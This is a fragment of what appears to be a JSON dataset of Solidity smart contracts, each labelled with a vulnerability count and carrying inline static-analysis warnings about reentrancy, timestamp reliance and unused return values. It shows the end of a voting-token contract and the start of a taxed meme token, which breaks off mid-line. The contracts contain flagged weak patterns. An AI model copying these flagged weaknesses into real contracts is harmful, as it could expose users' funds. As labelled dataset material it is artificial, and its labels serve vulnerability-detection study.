RecoverError.InvalidSignatureS, s);\n }\n\n address signer = ecrecover(hash, v, r, s);\n\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature, bytes32(0));\n }\n\n return (signer, RecoverError.NoError, bytes32(0));\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n v,\n r,\n s\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function _throwError(RecoverError error, bytes32 errorArg) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert ECDSAInvalidSignature();\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert ECDSAInvalidSignatureLength(uint256(errorArg));\n } else if (error == RecoverError.InvalidSignatureS) {\n revert ECDSAInvalidSignatureS(errorArg);\n }\n }\n}\n\nlibrary Time {\n using Time for *;\n\n function timestamp() internal view returns (uint48) {\n return SafeCast.toUint48(block.timestamp);\n }\n\n function blockNumber() internal view returns (uint48) {\n return SafeCast.toUint48(block.number);\n }\n\n type Delay is uint112;\n\n function toDelay(uint32 duration) internal pure returns (Delay) {\n return Delay.wrap(duration);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c49c65f): Time._getFullAt(Time.Delay,uint48) uses timestamp for comparisons Dangerous comparisons effect <= timepoint\n\t// Recommendation for c49c65f: Avoid relying on 'block.timestamp'.\n function _getFullAt(\n Delay self,\n uint48 timepoint\n )\n private\n pure\n returns (uint32 valueBefore, uint32 valueAfter, uint48 effect)\n {\n (valueBefore, valueAfter, effect) = self.unpack();\n\n\t\t// timestamp | ID: c49c65f\n return\n effect <= timepoint\n ? (valueAfter, 0, 0)\n : (valueBefore, valueAfter, effect);\n }\n\n function getFull(\n Delay self\n )\n internal\n view\n returns (uint32 valueBefore, uint32 valueAfter, uint48 effect)\n {\n return _getFullAt(self, timestamp());\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f3ecb0a): Time.get(Time.Delay) ignores return value by (delay,None,None) = self.getFull()\n\t// Recommendation for f3ecb0a: Ensure that all the return values of the function calls are used.\n function get(Delay self) internal view returns (uint32) {\n\t\t// unused-return | ID: f3ecb0a\n (uint32 delay, , ) = self.getFull();\n\n return delay;\n }\n\n function withUpdate(\n Delay self,\n uint32 newValue,\n uint32 minSetback\n ) internal view returns (Delay updatedDelay, uint48 effect) {\n uint32 value = self.get();\n\n uint32 setback = uint32(\n Math.max(minSetback, value > newValue ? value - newValue : 0)\n );\n\n effect = timestamp() + setback;\n\n return (pack(value, newValue, effect), effect);\n }\n\n function unpack(\n Delay self\n )\n internal\n pure\n returns (uint32 valueBefore, uint32 valueAfter, uint48 effect)\n {\n uint112 raw = Delay.unwrap(self);\n\n valueAfter = uint32(raw);\n\n valueBefore = uint32(raw >> 32);\n\n effect = uint48(raw >> 64);\n\n return (valueBefore, valueAfter, effect);\n }\n\n function pack(\n uint32 valueBefore,\n uint32 valueAfter,\n uint48 effect\n ) internal pure returns (Delay) {\n return\n Delay.wrap(\n (uint112(effect) << 64) |\n (uint112(valueBefore) << 32) |\n uint112(valueAfter)\n );\n }\n}\n\nabstract contract Votes is Context, EIP712, Nonces, IERC5805 {\n using Checkpoints for Checkpoints.Trace208;\n\n bytes32 private constant DELEGATION_TYPEHASH =\n keccak256(\"Delegation(address delegatee,uint256 nonce,uint256 expiry)\");\n\n mapping(address account => address) private _delegatee;\n\n mapping(address delegatee => Checkpoints.Trace208)\n private _delegateCheckpoints;\n\n Checkpoints.Trace208 private _totalCheckpoints;\n\n error ERC6372InconsistentClock();\n\n error ERC5805FutureLookup(uint256 timepoint, uint48 clock);\n\n function clock() public view virtual returns (uint48) {\n return Time.blockNumber();\n }\n\n function CLOCK_MODE() public view virtual returns (string memory) {\n if (clock() != Time.blockNumber()) {\n revert ERC6372InconsistentClock();\n }\n\n return \"mode=blocknumber&from=default\";\n }\n\n function getVotes(address account) public view virtual returns (uint256) {\n return _delegateCheckpoints[account].latest();\n }\n\n function getPastVotes(\n address account,\n uint256 timepoint\n ) public view virtual returns (uint256) {\n uint48 currentTimepoint = clock();\n\n if (timepoint >= currentTimepoint) {\n revert ERC5805FutureLookup(timepoint, currentTimepoint);\n }\n\n return\n _delegateCheckpoints[account].upperLookupRecent(\n SafeCast.toUint48(timepoint)\n );\n }\n\n function getPastTotalSupply(\n uint256 timepoint\n ) public view virtual returns (uint256) {\n uint48 currentTimepoint = clock();\n\n if (timepoint >= currentTimepoint) {\n revert ERC5805FutureLookup(timepoint, currentTimepoint);\n }\n\n return\n _totalCheckpoints.upperLookupRecent(SafeCast.toUint48(timepoint));\n }\n\n function _getTotalSupply() internal view virtual returns (uint256) {\n return _totalCheckpoints.latest();\n }\n\n function delegates(address account) public view virtual returns (address) {\n return _delegatee[account];\n }\n\n function delegate(address delegatee) public virtual {\n address account = _msgSender();\n\n _delegate(account, delegatee);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0c83f75): Votes.delegateBySig(address,uint256,uint256,uint8,bytes32,bytes32) uses timestamp for comparisons Dangerous comparisons block.timestamp > expiry\n\t// Recommendation for 0c83f75: Avoid relying on 'block.timestamp'.\n function delegateBySig(\n address delegatee,\n uint256 nonce,\n uint256 expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual {\n\t\t// timestamp | ID: 0c83f75\n if (block.timestamp > expiry) {\n revert VotesExpiredSignature(expiry);\n }\n\n address signer = ECDSA.recover(\n _hashTypedDataV4(\n keccak256(\n abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)\n )\n ),\n v,\n r,\n s\n );\n\n _useCheckedNonce(signer, nonce);\n\n _delegate(signer, delegatee);\n }\n\n function _delegate(address account, address delegatee) internal virtual {\n address oldDelegate = delegates(account);\n\n _delegatee[account] = delegatee;\n\n emit DelegateChanged(account, oldDelegate, delegatee);\n\n _moveDelegateVotes(oldDelegate, delegatee, _getVotingUnits(account));\n }\n\n function _transferVotingUnits(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n if (from == address(0)) {\n _push(_totalCheckpoints, _add, SafeCast.toUint208(amount));\n }\n\n if (to == address(0)) {\n _push(_totalCheckpoints, _subtract, SafeCast.toUint208(amount));\n }\n\n _moveDelegateVotes(delegates(from), delegates(to), amount);\n }\n\n function _moveDelegateVotes(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n if (from != to && amount > 0) {\n if (from != address(0)) {\n (uint256 oldValue, uint256 newValue) = _push(\n _delegateCheckpoints[from],\n _subtract,\n SafeCast.toUint208(amount)\n );\n\n emit DelegateVotesChanged(from, oldValue, newValue);\n }\n\n if (to != address(0)) {\n (uint256 oldValue, uint256 newValue) = _push(\n _delegateCheckpoints[to],\n _add,\n SafeCast.toUint208(amount)\n );\n\n emit DelegateVotesChanged(to, oldValue, newValue);\n }\n }\n }\n\n function _numCheckpoints(\n address account\n ) internal view virtual returns (uint32) {\n return SafeCast.toUint32(_delegateCheckpoints[account].length());\n }\n\n function _checkpoints(\n address account,\n uint32 pos\n ) internal view virtual returns (Checkpoints.Checkpoint208 memory) {\n return _delegateCheckpoints[account].at(pos);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 96af6ae): Votes._push(Checkpoints.Trace208,function(uint208,uint208) returns(uint208),uint208) ignores return value by store.push(clock(),op(store.latest(),delta))\n\t// Recommendation for 96af6ae: Ensure that all the return values of the function calls are used.\n function _push(\n Checkpoints.Trace208 storage store,\n function(uint208, uint208) view returns (uint208) op,\n uint208 delta\n ) private returns (uint208 oldValue, uint208 newValue) {\n\t\t// unused-return | ID: 96af6ae\n return store.push(clock(), op(store.latest(), delta));\n }\n\n function _add(uint208 a, uint208 b) private pure returns (uint208) {\n return a + b;\n }\n\n function _subtract(uint208 a, uint208 b) private pure returns (uint208) {\n return a - b;\n }\n\n function _getVotingUnits(address) internal view virtual returns (uint256);\n}\n\nabstract contract ERC20Votes is ERC20, Votes {\n error ERC20ExceededSafeSupply(uint256 increasedSupply, uint256 cap);\n\n function _maxSupply() internal view virtual returns (uint256) {\n return type(uint208).max;\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal virtual override {\n super._update(from, to, value);\n\n if (from == address(0)) {\n uint256 supply = totalSupply();\n\n uint256 cap = _maxSupply();\n\n if (supply > cap) {\n revert ERC20ExceededSafeSupply(supply, cap);\n }\n }\n\n _transferVotingUnits(from, to, value);\n }\n\n function _getVotingUnits(\n address account\n ) internal view virtual override returns (uint256) {\n return balanceOf(account);\n }\n\n function numCheckpoints(\n address account\n ) public view virtual returns (uint32) {\n return _numCheckpoints(account);\n }\n\n function checkpoints(\n address account,\n uint32 pos\n ) public view virtual returns (Checkpoints.Checkpoint208 memory) {\n return _checkpoints(account, pos);\n }\n}\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\ninterface IERC1363 is IERC20, IERC165 {\n function transferAndCall(address to, uint256 value) external returns (bool);\n\n function transferAndCall(\n address to,\n uint256 value,\n bytes calldata data\n ) external returns (bool);\n\n function transferFromAndCall(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function transferFromAndCall(\n address from,\n address to,\n uint256 value,\n bytes calldata data\n ) external returns (bool);\n\n function approveAndCall(\n address spender,\n uint256 value\n ) external returns (bool);\n\n function approveAndCall(\n address spender,\n uint256 value,\n bytes calldata data\n ) external returns (bool);\n}\n\nlibrary Errors {\n error InsufficientBalance(uint256 balance, uint256 needed);\n\n error FailedCall();\n\n error FailedDeployment();\n\n error MissingPrecompile(address);\n}\n\nlibrary Address {\n error AddressEmptyCode(address target);\n\n function sendValue(address payable recipient, uint256 amount) internal {\n if (address(this).balance < amount) {\n revert Errors.InsufficientBalance(address(this).balance, amount);\n }\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n if (!success) {\n revert Errors.FailedCall();\n }\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n if (address(this).balance < value) {\n revert Errors.InsufficientBalance(address(this).balance, value);\n }\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata\n ) internal view returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n if (returndata.length == 0 && target.code.length == 0) {\n revert AddressEmptyCode(target);\n }\n\n return returndata;\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata\n ) internal pure returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n return returndata;\n }\n }\n\n function _revert(bytes memory returndata) private pure {\n if (returndata.length > 0) {\n assembly (\"memory-safe\") {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert Errors.FailedCall();\n }\n }\n}\n\nlibrary SafeERC20 {\n error SafeERC20FailedOperation(address token);\n\n error SafeERC20FailedDecreaseAllowance(\n address spender,\n uint256 currentAllowance,\n uint256 requestedDecrease\n );\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeCall(token.transfer, (to, value)));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeCall(token.transferFrom, (from, to, value))\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n forceApprove(token, spender, oldAllowance + value);\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 requestedDecrease\n ) internal {\n unchecked {\n uint256 currentAllowance = token.allowance(address(this), spender);\n\n if (currentAllowance < requestedDecrease) {\n revert SafeERC20FailedDecreaseAllowance(\n spender,\n currentAllowance,\n requestedDecrease\n );\n }\n\n forceApprove(token, spender, currentAllowance - requestedDecrease);\n }\n }\n\n function forceApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n bytes memory approvalCall = abi.encodeCall(\n token.approve,\n (spender, value)\n );\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(\n token,\n abi.encodeCall(token.approve, (spender, 0))\n );\n\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n function transferAndCallRelaxed(\n IERC1363 token,\n address to,\n uint256 value,\n bytes memory data\n ) internal {\n if (to.code.length == 0) {\n safeTransfer(token, to, value);\n } else if (!token.transferAndCall(to, value, data)) {\n revert SafeERC20FailedOperation(address(token));\n }\n }\n\n function transferFromAndCallRelaxed(\n IERC1363 token,\n address from,\n address to,\n uint256 value,\n bytes memory data\n ) internal {\n if (to.code.length == 0) {\n safeTransferFrom(token, from, to, value);\n } else if (!token.transferFromAndCall(from, to, value, data)) {\n revert SafeERC20FailedOperation(address(token));\n }\n }\n\n function approveAndCallRelaxed(\n IERC1363 token,\n address to,\n uint256 value,\n bytes memory data\n ) internal {\n if (to.code.length == 0) {\n forceApprove(token, to, value);\n } else if (!token.approveAndCall(to, value, data)) {\n revert SafeERC20FailedOperation(address(token));\n }\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n uint256 returnSize;\n\n uint256 returnValue;\n\n assembly (\"memory-safe\") {\n let success := call(\n gas(),\n token,\n 0,\n add(data, 0x20),\n mload(data),\n 0,\n 0x20\n )\n\n if iszero(success) {\n let ptr := mload(0x40)\n\n returndatacopy(ptr, 0, returndatasize())\n\n revert(ptr, returndatasize())\n }\n\n returnSize := returndatasize()\n\n returnValue := mload(0)\n }\n\n if (\n returnSize == 0 ? address(token).code.length == 0 : returnValue != 1\n ) {\n revert SafeERC20FailedOperation(address(token));\n }\n }\n\n function _callOptionalReturnBool(\n IERC20 token,\n bytes memory data\n ) private returns (bool) {\n bool success;\n\n uint256 returnSize;\n\n uint256 returnValue;\n\n assembly (\"memory-safe\") {\n success := call(\n gas(),\n token,\n 0,\n add(data, 0x20),\n mload(data),\n 0,\n 0x20\n )\n\n returnSize := returndatasize()\n\n returnValue := mload(0)\n }\n\n return\n success &&\n (\n returnSize == 0\n ? address(token).code.length > 0\n : returnValue == 1\n );\n }\n}\n\nabstract contract ERC20Wrapper is ERC20 {\n IERC20 private immutable _underlying;\n\n error ERC20InvalidUnderlying(address token);\n\n constructor(IERC20 underlyingToken) {\n if (underlyingToken == this) {\n revert ERC20InvalidUnderlying(address(this));\n }\n\n _underlying = underlyingToken;\n }\n\n function decimals() public view virtual override returns (uint8) {\n try IERC20Metadata(address(_underlying)).decimals() returns (\n uint8 value\n ) {\n return value;\n } catch {\n return super.decimals();\n }\n }\n\n function underlying() public view returns (IERC20) {\n return _underlying;\n }\n\n function depositFor(\n address account,\n uint256 value\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n if (sender == address(this)) {\n revert ERC20InvalidSender(address(this));\n }\n\n if (account == address(this)) {\n revert ERC20InvalidReceiver(account);\n }\n\n SafeERC20.safeTransferFrom(_underlying, sender, address(this), value);\n\n _mint(account, value);\n\n return true;\n }\n\n function withdrawTo(\n address account,\n uint256 value\n ) public virtual returns (bool) {\n if (account == address(this)) {\n revert ERC20InvalidReceiver(account);\n }\n\n _burn(_msgSender(), value);\n\n SafeERC20.safeTransfer(_underlying, account, value);\n\n return true;\n }\n\n function _recover(address account) internal virtual returns (uint256) {\n uint256 value = _underlying.balanceOf(address(this)) - totalSupply();\n\n _mint(account, value);\n\n return value;\n }\n}\n\ncontract Contest is ERC20, ERC20Wrapper, ERC20Votes {\n constructor(\n string memory name_,\n string memory symbol_,\n IERC20 token_\n ) ERC20Wrapper(token_) ERC20(name_, symbol_) EIP712(\"Nevermind\", \"v1\") {}\n\n function decimals()\n public\n view\n override(ERC20, ERC20Wrapper)\n returns (uint8)\n {\n return super.decimals();\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20, ERC20Votes) {\n super._update(from, to, value);\n }\n\n function delegateBySig(\n address,\n uint256,\n uint256,\n uint8,\n bytes32,\n bytes32\n ) public pure override(Votes) {\n revert();\n }\n\n function deposit(uint256 amount) public {\n depositFor(msg.sender, amount);\n }\n\n function depositAll() public {\n depositFor(msg.sender, underlying().balanceOf(msg.sender));\n }\n\n function withdraw(uint256 amount) public {\n withdrawTo(msg.sender, amount);\n }\n\n function withdrawAll() public {\n withdrawTo(msg.sender, balanceOf(msg.sender));\n }\n}\n\ncontract Ranking {\n\t// WARNING Optimization Issue (immutable-states | ID: aafc25d): Ranking.contest should be immutable \n\t// Recommendation for aafc25d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n Contest public contest;\n\n mapping(address => bool) public hasRank;\n\n mapping(address => uint256) public rankOf;\n\n mapping(uint256 => address) public addressOf;\n\n constructor(Contest contest_) {\n contest = contest_;\n }\n\n event Claimed(uint256 indexed rank, address winner, address loser);\n\n function claim(uint256 rank) public {\n address winner = msg.sender;\n\n address loser = addressOf[rank];\n\n if (winner == loser) revert();\n\n uint256 attack = contest.getPastVotes(winner, block.number - 1);\n\n uint256 defense = contest.getPastVotes(loser, block.number - 1);\n\n if (attack < defense) revert();\n\n emit Claimed(rank, winner, loser);\n\n if (hasRank[winner]) {\n uint256 rank2 = rankOf[winner];\n\n emit Unclaimed(rank2, winner);\n\n addressOf[rank2] = address(0);\n }\n\n rankOf[winner] = rank;\n\n hasRank[winner] = true;\n\n addressOf[rank] = winner;\n\n rankOf[loser] = 0;\n\n hasRank[loser] = false;\n }\n\n event Unclaimed(uint256 indexed rank, address loser);\n\n function unclaim() public {\n if (!hasRank[msg.sender]) revert();\n\n uint256 rank = rankOf[msg.sender];\n\n emit Unclaimed(rank, msg.sender);\n\n addressOf[rank] = address(0);\n\n rankOf[msg.sender] = 0;\n\n hasRank[msg.sender] = false;\n }\n}\n",
"file_name": "solidity_code_10172.sol",
"size_bytes": 94386,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SHRUB is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fe5f536): SHRUB._taxWallet should be immutable \n\t// Recommendation for fe5f536: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 066fc0e): SHRUB._initialBuyTax should be constant \n\t// Recommendation for 066fc0e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 20e485a): SHRUB._initialSellTax should be constant \n\t// Recommendation for 20e485a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f5c976): SHRUB._reduceBuyTaxAt should be constant \n\t// Recommendation for 3f5c976: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc3f371): SHRUB._reduceSellTaxAt should be constant \n\t// Recommendation for dc3f371: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 78ea88c): SHRUB._preventSwapBefore should be constant \n\t// Recommendation for 78ea88c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"SHRUB 2.0\";\n\n string private constant _symbol = unicode\"Shrub 2.0\";\n\n uint256 public _maxTxAmount = 3000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 3000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b47d1b6): SHRUB._taxSwapThreshold should be constant \n\t// Recommendation for b47d1b6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a396540): SHRUB._maxTaxSwap should be constant \n\t// Recommendation for a396540: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 158deb0): SHRUB.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 158deb0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 516a3d1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 516a3d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8b96a5b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8b96a5b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 516a3d1\n\t\t// reentrancy-benign | ID: 8b96a5b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 516a3d1\n\t\t// reentrancy-benign | ID: 8b96a5b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dcfdf78): SHRUB._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dcfdf78: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8b96a5b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 516a3d1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2d38e9f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2d38e9f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d2c28aa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d2c28aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 2d38e9f\n\t\t\t\t// reentrancy-eth | ID: d2c28aa\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2d38e9f\n\t\t\t\t\t// reentrancy-eth | ID: d2c28aa\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d2c28aa\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d2c28aa\n lastSellBlock = 